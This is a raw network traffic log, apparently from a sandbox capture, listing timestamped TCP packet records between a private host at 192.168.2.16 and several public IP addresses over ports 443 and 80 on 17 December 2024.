Dec 17, 2024 22:23:30.219307899 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.219330072 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.224047899 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.224822044 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.224829912 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.228887081 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.228967905 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.228975058 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.238302946 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.238379955 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.238395929 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.238449097 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.246862888 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.246871948 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.246932983 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.247024059 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.247070074 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.255465984 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.255476952 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.255544901 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.263998032 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.264033079 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.264105082 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.268479109 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.268486023 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.268553019 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.275914907 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.275975943 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.282284975 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.282361984 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.288800001 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.288888931 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.292268038 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.292345047 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.298485994 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.298559904 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.408821106 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.409115076 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.412707090 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.412894011 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.418186903 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.418302059 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.420768023 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.420830011 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.425914049 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.425997019 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.430702925 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.430757046 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.435564995 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.435630083 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.438255072 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.438324928 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.443007946 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.443073988 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.445449114 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.445514917 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.450387955 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.450465918 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.455208063 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.456902981 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.460160017 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.460230112 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.462651968 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.462723017 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.467628956 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.467688084 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.470067978 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.470123053 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.474909067 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.474961042 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.479737997 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.479820967 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.484721899 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.484793901 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.487190008 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.487252951 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.492101908 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.492161989 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.528600931 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.528678894 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.529782057 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.529850006 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.534770966 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.534841061 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.601646900 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.601737976 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.603908062 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.603981972 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.608078957 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.608144045 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.611917973 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.611990929 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.615968943 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.616044998 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.623667002 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.623680115 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.623729944 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.623755932 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.623771906 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.623836040 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.636665106 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.636728048 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.636754990 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.636771917 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.636835098 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.649797916 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.649846077 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.649868011 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.649878025 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.649915934 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.649930954 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.658669949 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.658720970 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.658756971 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.658770084 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.658818960 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.666706085 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.666775942 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.666810036 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.666848898 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.666870117 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.666899920 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.673612118 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.673677921 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.673703909 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.673733950 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.673768044 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.673788071 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.681399107 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.681422949 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.681488991 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.681514978 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.681555986 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.697849989 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:30.799062014 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.799125910 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.799163103 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.799186945 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.799204111 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.799290895 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.804997921 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.805054903 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.805085897 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.805099964 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.805118084 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.805143118 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.811604023 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.811649084 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.811793089 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.811793089 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.811826944 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.811953068 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.818355083 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.818403959 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.818432093 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.818444967 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.818459988 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.818485022 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.819376945 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.819457054 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.837615967 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.837636948 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.837760925 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.837773085 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.837819099 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.838252068 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.838268042 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.838325024 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.838332891 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.838367939 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.839009047 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.839025974 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.839148045 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.839154959 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.839205027 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.839864969 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.839931011 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.839937925 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.839950085 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.840001106 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.840414047 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.840431929 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.871789932 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.871920109 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.872035027 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.872360945 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.872391939 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.936888933 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:31.908833981 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:32.088112116 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.088424921 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.088458061 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.088886976 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.089190006 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.089267015 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.089353085 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.135327101 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714016914 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714086056 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714121103 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714153051 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714174032 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.714188099 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714202881 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.714210987 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.714236021 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.714250088 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.722615957 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.722668886 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.722692966 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.768879890 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.768907070 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.816811085 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.833676100 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.880832911 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.880861998 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.909780979 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.909847975 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.909878016 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.918545008 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.918601036 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.918632984 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.925647020 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.925704002 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.925724030 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.933690071 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.933747053 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.933763981 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.941589117 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:32.941684961 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.941849947 CET	49720	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:32.941868067 CET	443	49720	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:34.240062952 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:34.318850040 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:34.541841030 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:35.149832964 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:35.924401999 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:35.924482107 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:35.924582005 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:35.941467047 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:35.941488028 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:36.361824036 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:38.775819063 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:39.125860929 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:40.539804935 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:43.589056969 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:48.738823891 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:53.192831039 CET	49680	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:24:24.450222969 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:24.450277090 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:24.450371981 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:24.450686932 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:24.450701952 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:26.143385887 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:26.143735886 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:26.143758059 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:26.144088030 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:26.144388914 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:26.144449949 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:26.190799952 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:35.845654964 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:35.845722914 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:35.845808983 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:35.951652050 CET	49724	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:24:35.951682091 CET	443	49724	142.250.181.132	192.168.2.16
Dec 17, 2024 22:24:44.528450012 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:44.528501987 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:44.528603077 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:44.528868914 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:44.528884888 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:44.533972025 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:44.534014940 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:44.534085035 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:44.534223080 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:44.534239054 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:45.745707035 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:45.746117115 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:45.746140957 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:45.747014999 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:45.747085094 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:45.748426914 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:45.748491049 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:45.748658895 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:45.748667955 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:45.759535074 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:45.759797096 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:45.759807110 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:45.761331081 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:45.761399984 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:45.762358904 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:45.762438059 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:45.762516975 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:45.762525082 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:45.797899008 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:45.813786030 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.179404974 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.180094957 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.180169106 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.180188894 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.180265903 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.180322886 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.180330038 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.188287020 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.188355923 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.188363075 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.195116997 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.195168972 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.195215940 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.195224047 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.195434093 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.195461988 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.195480108 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.195487976 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.195528984 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.195535898 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.196836948 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.196901083 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.196907997 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.203075886 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.203135967 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.203142881 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.205338001 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.205394030 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.205399990 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.211611032 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.211667061 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.211673021 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.260801077 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.260801077 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.260811090 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.260822058 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.308846951 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.311470032 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.311477900 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.356930017 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.372107029 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.375962973 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.376070976 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.376132965 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.376144886 CET	443	49727	151.101.194.137	192.168.2.16
